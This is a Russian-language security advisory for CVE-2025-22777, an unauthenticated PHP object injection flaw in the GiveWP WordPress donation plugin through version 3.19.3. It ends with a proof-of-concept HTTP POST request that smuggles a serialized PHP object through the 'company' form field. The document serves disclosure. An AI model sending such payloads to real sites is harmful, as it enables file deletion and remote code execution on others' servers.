CVE-2025-22777

GiveWP – Donation Plugin and Fundraising Platform <= 3.19.3 - Неаутентифицированная PHP-инъекция объектов

Описание

Плагин GiveWP – Donation Plugin and Fundraising Platform для WordPress уязвим для PHP-инъекции объектов во всех версиях до 3.19.3 включительно через десериализацию недоверенного ввода из формы пожертвования через параметр 'company'. Это позволяет неаутентифицированным злоумышленникам внедрять PHP-объект. Дополнительное наличие POP-цепочки позволяет злоумышленникам удалять произвольные файлы на сервере, что делает возможным удаленное выполнение кода. Обратите внимание, что это обход исправления для CVE-2024-12877.

Детали

• Тип: плагин
• Slug: give
• Затронутая версия: 3.19.3
• Оценка CVSS: 9.8
• Рейтинг CVSS: Критический
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• Статус: Активна

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=